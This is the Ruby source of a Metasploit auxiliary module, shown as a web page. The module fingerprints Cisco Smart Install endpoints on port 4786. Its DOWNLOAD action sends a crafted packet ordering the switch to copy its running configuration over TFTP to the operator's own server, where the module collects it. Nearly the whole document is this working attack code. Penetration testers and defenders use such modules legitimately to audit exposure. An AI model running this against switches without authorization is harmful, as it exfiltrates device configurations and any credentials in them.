Path: blob/master/modules/auxiliary/scanner/misc/cisco_smart_install.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Cisco8include Msf::Auxiliary::Scanner9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Identify Cisco Smart Install endpoints',16'Description' => %q{17This module attempts to connect to the specified Cisco Smart Install port18and determines if it speaks the Smart Install Protocol. Exposure of SMI19to untrusted networks can allow complete compromise of the switch.20},21'Author' => ['Jon Hart <jon_hart[at]rapid7.com>', 'Mumbai'],22'References' => [23['URL', 'http://web.archive.org/web/20221003014218/http://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],24['URL', 'https://blogs.cisco.com/security/cisco-psirt-mitigating-and-detecting-potential-abuse-of-cisco-smart-install-feature'],25['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi'],26['URL', 'https://github.com/Cisco-Talos/smi_check'],27['URL', 'https://github.com/frostbits-security/SIET']2829],30'License' => MSF_LICENSE,31'DefaultAction' => 'SCAN',32'Actions' => [33['SCAN', 'Description' => 'Scan for instances communicating via Smart Install Protocol (default)'],34['DOWNLOAD', 'Description' => 'Retrieve configuration via Smart Install Protocol']35],36'Notes' => {37'Reliability' => UNKNOWN_RELIABILITY,38'Stability' => UNKNOWN_STABILITY,39'SideEffects' => UNKNOWN_SIDE_EFFECTS40}41)42)4344register_options(45[46Opt::RPORT(4786),47OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),48OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),49OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])50]51)52end5354# thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L5355SMI_PROBE = "\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00".freeze56SMI_RE = /^\x00{3}\x04\x00{7}\x03\x00{3}\x08\x00{3}\x01\x00{4}$/57def smi?58sock.puts(SMI_PROBE)59response = sock.get_once(-1)60if response61if SMI_RE.match(response)62print_good("Fingerprinted the Cisco Smart Install protocol")63return true64else65vprint_status("No match for '#{response}'")66end67else68vprint_status("No response")69end70end7172def start_tftp73print_status("Starting TFTP Server...")74@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })75@tftp.incoming_file_hook = Proc.new { |info| process_incoming(info) }76@tftp.start77add_socket(@tftp.sock)78@main_thread = ::Thread.current79end8081def cleanup82# Cleanup is called once for every single thread83if ::Thread.current == @main_thread84# Wait 5 seconds for background transfers to complete85print_status("Providing some time for transfers to complete...")86sleep(5)8788if @tftp89print_status("Shutting down the TFTP service...")90@tftp.close rescue nil91@tftp = nil92end93end94end9596#97# Callback for incoming files98#99def process_incoming(info)100return if not info[:file]101102name = info[:file][:name]103data = info[:file][:data]104from = info[:from]105return if not (name && data && from)106107# Trim off IPv6 mapped IPv4 if necessary108from = from[0].dup109from.gsub!('::ffff:', '')110111print_status("Incoming file from #{from} - #{name} (#{data.length} bytes)")112cisco_ios_config_eater(from, rport, data)113end114115def decode_hex(string)116string.scan(/../).map { |x| x.hex }.pack('c*')117end118119def request_config(tftp_server, config)120copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"121packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'122packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))123print_status("Attempting #{copy_config}")124sock.put(packet)125end126127def run_host(ip)128begin129case130when action.name == 'SCAN'131connect132return unless smi?133when action.name == 'DOWNLOAD'134start_tftp135connect136return unless smi?137138disconnect # cant send any additional packets, so closing139connect140tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)141request_config(tftp_server, datastore['CONFIG'])142print_status("Waiting #{datastore['SLEEP']} seconds for configuration")143Rex.sleep(datastore['SLEEP'])144end145rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \146::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e147vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")148return149ensure150disconnect151end152153service = report_service(154host: rhost,155port: rport,156proto: 'tcp',157name: 'Smart Install'158)159160report_vuln(161host: rhost,162service: service,163name: name,164info: "Fingerprinted the Cisco Smart Install Protocol",165refs: references,166exploited_at: Time.now.utc167)168end169end170171172